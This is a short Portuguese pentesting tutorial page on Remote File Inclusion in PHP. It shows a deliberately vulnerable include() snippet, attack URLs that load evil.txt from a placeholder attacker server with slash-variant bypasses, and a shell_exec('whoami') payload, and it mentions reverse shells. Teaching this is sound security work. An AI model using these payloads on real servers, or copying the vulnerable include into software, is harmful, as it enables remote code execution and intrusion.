RFI

RFI (Remote File Inclusion)

A inclusão remota de arquivos, conhecida como RFI (Remote File Inclusion), é uma técnica que ataca sites incluindo arquivos "externos" (como PHP Shell). Se o atacante explora com sucesso, ele pode executar comandos arbitrários no servidor web da vítima. No caso no PHP, as RFIs são menos comuns que as LFIs, porque para fazê-los funcionar, o desenvolvedor deve ter editado o arquivo de configuração php.ini.

Supondo que nosso alvo tenha o seguinte código PHP:

$include_file = $_REQUEST["file"];
include($include_file);

Podemos fazer um RFI com o seguinte parâmetro:

http://example.com/index.php?page=http://<attackerserver>.com/evil.txt
# ou
http://example.com/index.php?page=//<attackerserver>.com/evil.txt
http://example.com/index.php?page=///<attackerserver>.com/evil.txt
http://example.com/index.php?page=////<attackerserver>.com/evil.txt
http://example.com/index.php?page=/////<attackerserver>.com/evil.txt
http://example.com/index.php?page=//////<attackerserver>.com/evil.txt

Nosso arquivo evil.txt pode conter algum comando (ou shell reverso), por exemplo:

<?php echo shell_exec("whoami");?>

DICA: Sempre que o alvo estiver vulnerável a RFI, tente executar códigos que estejam em servidores remotos, seja no exemplo acima feito em PHP, em Javascript (como vimos anteriormente na seção de XSS) ou qualquer outra linguagem.

Sites

https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/web-application/lfi-rfi

Last updated